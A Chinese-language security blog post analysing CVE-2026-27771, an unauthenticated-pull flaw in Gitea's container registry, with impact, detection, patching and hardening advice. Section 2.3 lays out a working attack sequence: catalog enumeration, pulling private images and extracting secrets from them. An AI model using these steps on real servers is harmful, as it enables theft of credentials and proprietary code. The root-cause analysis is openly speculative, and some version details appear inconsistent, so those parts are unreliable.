Gitea CVE-2026-27771深度解析:沉睡4年的私有容器镜像泄露漏洞
作者:黄蓉 | 点滴安全(dripsafe.cn) 日期:2026年5月28日 原创文章,转载需授权
开篇:3万台Gitea服务器的”隐形门”
在云原生时代,容器镜像仓库的安全性直接关系到企业的核心资产。我们习惯性地认为,标记为”私有”的资源就一定是安全的——毕竟,权限控制不就是为了这个目的吗?
2026年5月27日,英国安全公司Noscope披露了一个令人震惊的漏洞:Gitea自托管的容器镜像仓库(Container Registry)中,标记为私有的容器镜像可以被任何未经认证的远程用户直接拉取。不需要账号,不需要密码,不需要任何凭据。
这个漏洞被编号为CVE-2026-27771,影响了所有1.26.2之前的Gitea版本。更要命的是,它已经存在了将近4年,超过30,000台Gitea部署实例受到影响,横跨全球30多个国家。
作为技术开发者,今天黄蓉就带大家从代码层面深入拆解这个漏洞的根因、影响范围,以及我们该如何应急响应和加固。
第一章:漏洞全景——CVE-2026-27771核心事实
1.1 基本信息
| 属性 | 详情 |
|---|---|
| 漏洞编号 | CVE-2026-27771 |
| CVSS评分 | N/A(尚未正式评定) |
| 漏洞类型 | 认证绕过(Authentication Bypass) |
| 影响组件 | Gitea Container Registry |
| 受影响版本 | 所有 < 1.26.2 的版本 |
| 修复版本 | Gitea 1.26.2 |
| 发现者 | Noscope安全团队 |
| 影响范围 | 30,000+ 实例,30+ 国家 |
| 存在时间 | 约4年 |
1.2 漏洞本质
Gitea从1.22版本开始引入Container Registry功能,允许用户在Gitea实例中托管OCI容器镜像。当用户创建容器仓库并设置为”私有”(Private)时,理论上只有具有相应权限的用户才能push和pull镜像。
然而,CVE-2026-27771的根本问题在于:Gitea的Container Registry API在处理pull请求时,没有正确校验仓库的私有状态和用户的认证信息。
这意味着: 1. 攻击者无需注册账号 2. 攻击者无需提供任何密码或Token 3. 只要知道Gitea实例的URL和容器镜像的名称 4. 就可以直接通过标准的 docker pull 或 crane pull 命令拉取私有镜像
用Noscope的原话说:“Gitea的容器仓库允许互联网上的任何人,在没有账号、没有密码、没有任何先前访问权限的情况下,像拉取公共镜像一样拉取本应是私有的容器镜像。”
1.3 为什么这很严重?
容器镜像不仅仅是编译后的二进制文件。一个Docker镜像通常包含:
- 应用程序源代码(编译后的二进制、脚本、配置文件)
- 环境变量和密钥(数据库连接串、API密钥、加密密钥)
- 系统依赖信息(暴露技术栈和版本,辅助后续攻击)
- 内部网络拓扑(Dockerfile中的COPY、EXPOSE指令暴露服务结构)
- CI/CD配置(构建参数、部署脚本)
一旦私有容器镜像被泄露,攻击者几乎可以直接拿到企业的核心机密。
第二章:技术根因分析——权限校验的逻辑断层
2.1 Gitea Container Registry的架构
Gitea的Container Registry实现了OCI Distribution Specification,这是容器镜像分发标准。其核心API端点包括:
GET /v2/ # Registry API版本检查
GET /v2/<name>/tags/list # 获取镜像标签列表
GET /v2/<name>/manifests/<ref> # 获取镜像Manifest
GET /v2/<name/blobs/<digest> # 获取镜像层(Layer)
在正常的安全模型中,这些API应该经过以下权限检查链:
请求到达 → 认证(Authentication)→ 授权(Authorization)→ 返回数据
2.2 漏洞根因推测
虽然Gitea官方尚未公开完整的漏洞细节(仅发布了修复版本),但根据Noscope的描述和Gitea的代码结构,可以推断出以下问题链:
问题1:OCI API与Gitea权限系统的断层
Gitea的代码仓库(Git Repository)和容器仓库(Container Repository)虽然共享同一个”私有/公开”标记,但在API层面,它们的权限检查逻辑是独立实现的。
Git仓库的权限检查已经经过多年的审计和加固,但Container Registry的权限检查是新功能引入时添加的,可能存在遗漏。
问题2:/v2/ 路径的认证豁免
OCI Distribution Specification要求 /v2/ 端点在未认证时返回 200 OK(而不是 401),以支持匿名pull公共镜像的能力。这是规范要求的行为。
问题在于,Gitea在实现这一规范时,可能将整个 /v2/ 路径前缀都标记为”可能不需要认证”,导致后续的具体资源请求(如 /v2/<name>/manifests/<ref>)也跳过了认证检查。
问题3:私有标记未被正确传递
当用户在Gitea中将容器仓库设置为”私有”时,这个标记需要在API处理层被正确读取和校验。如果Container Registry的实现层直接查询了仓库的”可见性”字段,但该字段在特定代码路径下没有被正确设置或传递,就会导致私有仓库被当作公共仓库处理。
2.3 攻击流程复现
攻击过程极其简单:
# 第1步:发现目标Gitea实例(通过Shodan/Censys/Fofa等)
# 搜索关键字:"Gitea" + port 3000
# 第2步:枚举容器仓库(无需认证)
curl -s https://target-gitea.example.com/v2/_catalog
# 返回:{"repositories":["internal-api","admin-tools","db-migrator"]}
# 第3步:列出镜像标签
curl -s https://target-gitea.example.com/v2/internal-api/tags/list
# 返回:{"name":"internal-api","tags":["v2.1.0","v2.1.1","latest"]}
# 第4步:直接拉取私有镜像
docker pull target-gitea.example.com/owner/internal-api:latest
# 或者用crane
crane pull target-gitea.example.com/owner/internal-api:latest image.tar
# 第5步:从镜像中提取敏感信息
docker run --rm -it --entrypoint /bin/sh internal-api:latest
# 查看环境变量、配置文件、密钥...
整个过程不需要任何认证,就像拉取Docker Hub上的公共镜像一样简单。
第三章:影响范围——30,000+实例的真实风险
3.1 全球分布
Noscope的扫描结果显示,受影响的Gitea实例分布在全球30多个国家,主要集中在:
| 排名 | 国家 | 实例数量(估算) | 典型受害者类型 |
|---|---|---|---|
| 1 | 中国 | 最高 | 互联网公司、SaaS初创、教育机构 |
| 2 | 美国 | 高 | 科技公司、云服务商、零售基础设施 |
| 3 | 德国 | 中高 | 制造业、工业4.0企业 |
| 4 | 法国 | 中 | 航空航天、ISP |
| 5 | 英国 | 中 | 金融服务、零售 |
3.2 受影响的行业
Noscope特别指出,受影响的组织横跨: – 医疗机构——可能泄露患者数据处理管道 – 航空航天制造商——可能泄露核心工程系统配置 – 零售基础设施——可能泄露支付系统相关镜像 – 互联网服务提供商——可能泄露网络设备配置
3.3 Forgejo也受影响
Forgejo是Gitea的一个硬分叉(hard fork),由Gitea社区在2023年因治理争议分裂出来。Noscope确认,Forgejo也受到此漏洞影响,因为它们共享相同的Container Registry代码。
这意味着所有使用Forgejo自托管代码仓库的组织同样需要紧急评估和修补。
第四章:应急响应——发现与修复
4.1 立即检测你的Gitea实例
如果你正在使用Gitea或Forgejo,执行以下步骤快速判断是否受影响:
# 检查Gitea版本
gitea --version
# 如果版本 < 1.26.2,则受影响
# 或者通过API检查
curl -s https://your-gitea-instance/api/v1/version
# 返回类似 {"version":"1.25.4"} 则需要升级
# 快速测试是否存在认证绕过
# 尝试不带认证访问私有容器仓库
curl -v https://your-gitea-instance/v2/_catalog
# 如果返回200和仓库列表而不是401,说明存在漏洞
4.2 紧急修复方案
方案一:升级到修复版本(推荐)
# 下载最新版Gitea
wget https://dl.gitea.com/gitea/1.26.2/gitea-1.26.2-linux-amd64
# 停止服务
systemctl stop gitea
# 备份当前版本
cp /usr/local/bin/gitea /usr/local/bin/gitea.bak
# 替换二进制文件
cp gitea-1.26.2-linux-amd64 /usr/local/bin/gitea
chmod +x /usr/local/bin/gitea
# 启动服务
systemctl start gitea
# 验证版本
gitea --version
方案二:临时缓解措施(无法立即升级时)
如果暂时无法升级,可以在Gitea配置文件(app.ini或custom/conf/app.ini)中添加:
[service]
REQUIRE_SIGNIN_VIEW = true
这个配置会强制要求所有页面和API都需要登录才能访问。但Noscope指出,这不理想——如果你的某些容器镜像确实需要公开访问(比如开源项目的镜像),这个方案会导致公共镜像也无法匿名拉取。
4.3 泄露评估清单
如果你的实例确认受影响,立即执行以下评估:
# 1. 检查是否有私有容器仓库
curl -s http://localhost:3000/api/v1/user/repos?type=private | jq '.[].name'
# 2. 检查容器仓库的访问日志
# 查看Gitea日志中是否有异常的 /v2/ 请求
grep "/v2/" /var/log/gitea/gitea.log | grep -v "200.*public"
# 3. 审计容器镜像中可能泄露的信息
# 检查最近的镜像层是否包含敏感信息
for repo in $(curl -s http://localhost:3000/v2/_catalog | jq -r '.repositories[]'); do
echo "=== $repo ==="
curl -s "http://localhost:3000/v2/$repo/tags/list"
done
# 4. 轮换所有可能泄露的密钥和凭据
# - 数据库连接字符串
# - API密钥
# - TLS证书
# - SSH密钥对
4.4 网络层加固
即使已经升级,也应该从网络层面限制Container Registry的访问:
# Nginx反向代理配置示例:限制/v2/端点的访问
location /v2/ {
# 仅允许内部网络访问
allow 10.0.0.0/8;
allow 172.16.0.0/12;
allow 192.168.0.0/16;
deny all;
proxy_pass http://gitea:3000;
}
第五章:深层启示——自托管服务的安全盲区
5.1 “私有”标记不等于安全
CVE-2026-27771给我们上了一课:一个UI上的”私有”开关,不等于底层实现真正验证了权限。安全不能依赖前端展示,必须深入到API层逐一验证每一个访问路径。
5.2 新功能引入时的安全债务
Gitea的Container Registry是后来添加的功能。在成熟的产品中,新功能往往是安全漏洞的高发区,因为:
- 新功能的权限检查逻辑可能没有复用核心的权限框架
- 新功能的代码审计覆盖可能不如核心模块
- 新功能的测试用例可能不够全面
5.3 供应链安全的纵深防御
对于容器镜像仓库的安全,应该建立多层防御:
| 防御层 | 措施 | 目的 |
|---|---|---|
| 网络层 | WAF/VPC隔离/IP白名单 | 限制Registry的网络可达性 |
| 应用层 | 正确的认证+授权 | 确保只有合法用户能访问 |
| 内容层 | 镜像扫描/密钥检测 | 即使泄露也降低损失 |
| 监控层 | 异常拉取检测/告警 | 及时发现泄露行为 |
| 应急层 | 密钥轮换/镜像重建 | 泄露后的快速止损 |
5.4 持续安全扫描的重要性
Noscope能够发现这个漏洞,说明外部安全研究人员正在持续扫描互联网上的服务。但这也意味着攻击者同样在做这件事。如果攻击者先一步发现了CVE-2026-27771,4年的时间足以让他们从容地拉取所有感兴趣企业的私有镜像。
结语
CVE-2026-27771不是一个复杂的漏洞。它的可怕之处在于其隐蔽性和影响面——一个简单的权限检查遗漏,在4年时间里静默地影响着30,000多台服务器,无数企业的私有容器镜像处于”裸奔”状态。
对于开发者和运维人员,这个漏洞是一个警钟:
- 立即检查你的Gitea/Forgejo版本,低于1.26.2就升级
- 检查容器镜像访问日志,看看有没有异常的pull请求
- 轮换可能泄露的密钥,不要心存侥幸
- 在网络层加固Registry的访问控制,做纵深防御
安全从来不是一锤子买卖。它需要持续的关注、持续的审计、持续的改进。正如Gitea团队在4年后终于修补了这个漏洞一样——晚做总比不做好,但早做永远比晚做好。
黄蓉 | 丐帮总舵技术开发掌门 点滴安全 dripsafe.cn — 你的技术安全实战伙伴
参考来源: – Noscope: CVE-2026-27771: NoScope Discovered 30,000+ Gitea Instances Exposing Private Container Images for 4 Years – Gitea Official: Release of 1.26.2 – The Hacker News: Gitea Vulnerability Exposes Private Container Images without Authentication (2026-05-27)